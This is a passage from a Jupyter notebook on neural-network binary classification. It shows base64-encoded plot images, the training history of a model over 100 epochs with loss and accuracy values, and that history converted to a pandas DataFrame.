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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "# Check the deicison boundary (blue is blue class, yellow is the crossover, red is red class)\n", - "plot_decision_boundary(model_7, X, y)" - ] - }, - { - "cell_type": "code", - "execution_count": 93, - "id": "76607474", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "{'loss': [0.6891202330589294,\n", - " 0.6848355531692505,\n", - " 0.6824287176132202,\n", - " 0.6813334226608276,\n", - " 0.680156409740448,\n", - " 0.6794118285179138,\n", - " 0.6785022020339966,\n", - " 0.6778489947319031,\n", - " 0.6772070527076721,\n", - " 0.6765892505645752,\n", - " 0.6760299205780029,\n", - " 0.675374448299408,\n", - " 0.6747077703475952,\n", - " 0.6741397976875305,\n", - " 0.673419177532196,\n", - " 0.6727023124694824,\n", - " 0.67218017578125,\n", - " 0.6716141700744629,\n", - " 0.6709817051887512,\n", - " 0.6702422499656677,\n", - " 0.6696375608444214,\n", - " 0.6688392758369446,\n", - " 0.6682178974151611,\n", - " 0.6678821444511414,\n", - " 0.6671321392059326,\n", - " 0.666169285774231,\n", - " 0.66571044921875,\n", - " 0.6644943356513977,\n", - " 0.6641736626625061,\n", - " 0.6634045839309692,\n", - " 0.6626854538917542,\n", - " 0.6619408130645752,\n", - " 0.6610139608383179,\n", - " 0.6605863571166992,\n", - " 0.6597086191177368,\n", - " 0.658636212348938,\n", - " 0.657951295375824,\n", - " 0.657325029373169,\n", - " 0.6563595533370972,\n", - " 0.6556102633476257,\n", - " 0.6547687649726868,\n", - " 0.6539933681488037,\n", - " 0.6529560089111328,\n", - " 0.652129054069519,\n", - " 0.6495609283447266,\n", - " 0.6480515003204346,\n", - " 0.6471899747848511,\n", - " 0.6450610160827637,\n", - " 0.6426359415054321,\n", - " 0.6403612494468689,\n", - " 0.6383630037307739,\n", - " 0.6364050507545471,\n", - " 0.6344448328018188,\n", - " 0.6311668753623962,\n", - " 0.6287140846252441,\n", - " 0.6259084939956665,\n", - " 0.622735857963562,\n", - " 0.6199973225593567,\n", - " 0.6168336868286133,\n", - " 0.6133400797843933,\n", - " 0.610071063041687,\n", - " 0.605880081653595,\n", - " 0.6014304757118225,\n", - " 0.5965697169303894,\n", - " 0.590502917766571,\n", - " 0.5830231308937073,\n", - " 0.5757274627685547,\n", - " 0.5682924389839172,\n", - " 0.5614389777183533,\n", - " 0.5547711253166199,\n", - " 0.5474180579185486,\n", - " 0.5405763387680054,\n", - " 0.5327480435371399,\n", - " 0.5242888927459717,\n", - " 0.5148286819458008,\n", - " 0.5041882395744324,\n", - " 0.49268612265586853,\n", - " 0.48236119747161865,\n", - " 0.47334444522857666,\n", - " 0.46318066120147705,\n", - " 0.4545724093914032,\n", - " 0.4455825090408325,\n", - " 0.4359884262084961,\n", - " 0.42604777216911316,\n", - " 0.4145427942276001,\n", - " 0.40589219331741333,\n", - " 0.39623576402664185,\n", - " 0.3872567415237427,\n", - " 0.3795264661312103,\n", - " 0.37161874771118164,\n", - " 0.3635255694389343,\n", - " 0.3553656339645386,\n", - " 0.3481774926185608,\n", - " 0.3404372036457062,\n", - " 0.3329278230667114,\n", - " 0.32684531807899475,\n", - " 0.31895387172698975,\n", - " 0.3121986985206604,\n", - " 0.30588188767433167,\n", - " 0.2992824912071228],\n", - " 'accuracy': [0.5019999742507935,\n", - " 0.5170000195503235,\n", - " 0.515999972820282,\n", - " 0.5299999713897705,\n", - " 0.5389999747276306,\n", - " 0.5379999876022339,\n", - " 0.550000011920929,\n", - " 0.5479999780654907,\n", - " 0.5529999732971191,\n", - " 0.5509999990463257,\n", - " 0.550000011920929,\n", - " 0.5550000071525574,\n", - " 0.5559999942779541,\n", - " 0.5540000200271606,\n", - " 0.5580000281333923,\n", - " 0.5550000071525574,\n", - " 0.5550000071525574,\n", - " 0.5550000071525574,\n", - " 0.5590000152587891,\n", - " 0.5600000023841858,\n", - " 0.5640000104904175,\n", - " 0.5600000023841858,\n", - " 0.5699999928474426,\n", - " 0.5569999814033508,\n", - " 0.5669999718666077,\n", - " 0.574999988079071,\n", - " 0.5809999704360962,\n", - " 0.5699999928474426,\n", - " 0.5699999928474426,\n", - " 0.5789999961853027,\n", - " 0.5759999752044678,\n", - " 0.5759999752044678,\n", - " 0.5759999752044678,\n", - " 0.5759999752044678,\n", - " 0.5789999961853027,\n", - " 0.578000009059906,\n", - " 0.578000009059906,\n", - " 0.5789999961853027,\n", - " 0.5789999961853027,\n", - " 0.5759999752044678,\n", - " 0.578000009059906,\n", - " 0.574999988079071,\n", - " 0.578000009059906,\n", - " 0.5809999704360962,\n", - " 0.5809999704360962,\n", - " 0.5830000042915344,\n", - " 0.5849999785423279,\n", - " 0.5879999995231628,\n", - " 0.5879999995231628,\n", - " 0.593999981880188,\n", - " 0.6010000109672546,\n", - " 0.6129999756813049,\n", - " 0.6110000014305115,\n", - " 0.628000020980835,\n", - " 0.6380000114440918,\n", - " 0.6840000152587891,\n", - " 0.6949999928474426,\n", - " 0.6990000009536743,\n", - " 0.6949999928474426,\n", - " 0.7239999771118164,\n", - " 0.7200000286102295,\n", - " 0.7329999804496765,\n", - " 0.7400000095367432,\n", - " 0.7459999918937683,\n", - " 0.7440000176429749,\n", - " 0.7450000047683716,\n", - " 0.7459999918937683,\n", - " 0.7799999713897705,\n", - " 0.8009999990463257,\n", - " 0.8009999990463257,\n", - " 0.8240000009536743,\n", - " 0.8460000157356262,\n", - " 0.847000002861023,\n", - " 0.8619999885559082,\n", - " 0.8870000243186951,\n", - " 0.8820000290870667,\n", - " 0.9300000071525574,\n", - " 0.9089999794960022,\n", - " 0.9459999799728394,\n", - " 0.9599999785423279,\n", - " 0.9599999785423279,\n", - " 0.9580000042915344,\n", - " 0.9629999995231628,\n", - " 0.968999981880188,\n", - " 0.9700000286102295,\n", - " 0.9739999771118164,\n", - " 0.9750000238418579,\n", - " 0.972000002861023,\n", - " 0.9750000238418579,\n", - " 0.9750000238418579,\n", - " 0.984000027179718,\n", - " 0.9829999804496765,\n", - " 0.9800000190734863,\n", - " 0.9819999933242798,\n", - " 0.9879999756813049,\n", - " 0.9869999885559082,\n", - " 0.9869999885559082,\n", - " 0.9890000224113464,\n", - " 0.9879999756813049,\n", - " 0.9890000224113464]}" - ] - }, - "execution_count": 93, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "history.history" - ] - }, - { - "cell_type": "code", - "execution_count": 94, - "id": "66e18729", - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
lossaccuracy
00.6891200.502
10.6848360.517
20.6824290.516
30.6813330.530
40.6801560.539
.........
950.3268450.987
960.3189540.987
970.3121990.989
980.3058820.988
990.2992820.989
\n", - "

100 rows × 2 columns

\n", - "
" - ], - "text/plain": [ - " loss accuracy\n", - "0 0.689120 0.502\n", - "1 0.684836 0.517\n", - "2 0.682429 0.516\n", - "3 0.681333 0.530\n", - "4 0.680156 0.539\n", - ".. ... ...\n", - "95 0.326845 0.987\n", - "96 0.318954 0.987\n", - "97 0.312199 0.989\n", - "98 0.305882 0.988\n", - "99 0.299282 0.989\n", - "\n", - "[100 rows x 2 columns]" - ] - }, - "execution_count": 94, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "ff=pd.DataFrame(history.history)\n", - "ff" - ] - }, - { - "cell_type": "code", - "execution_count": 95, - "id": "bcef89a0", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 95, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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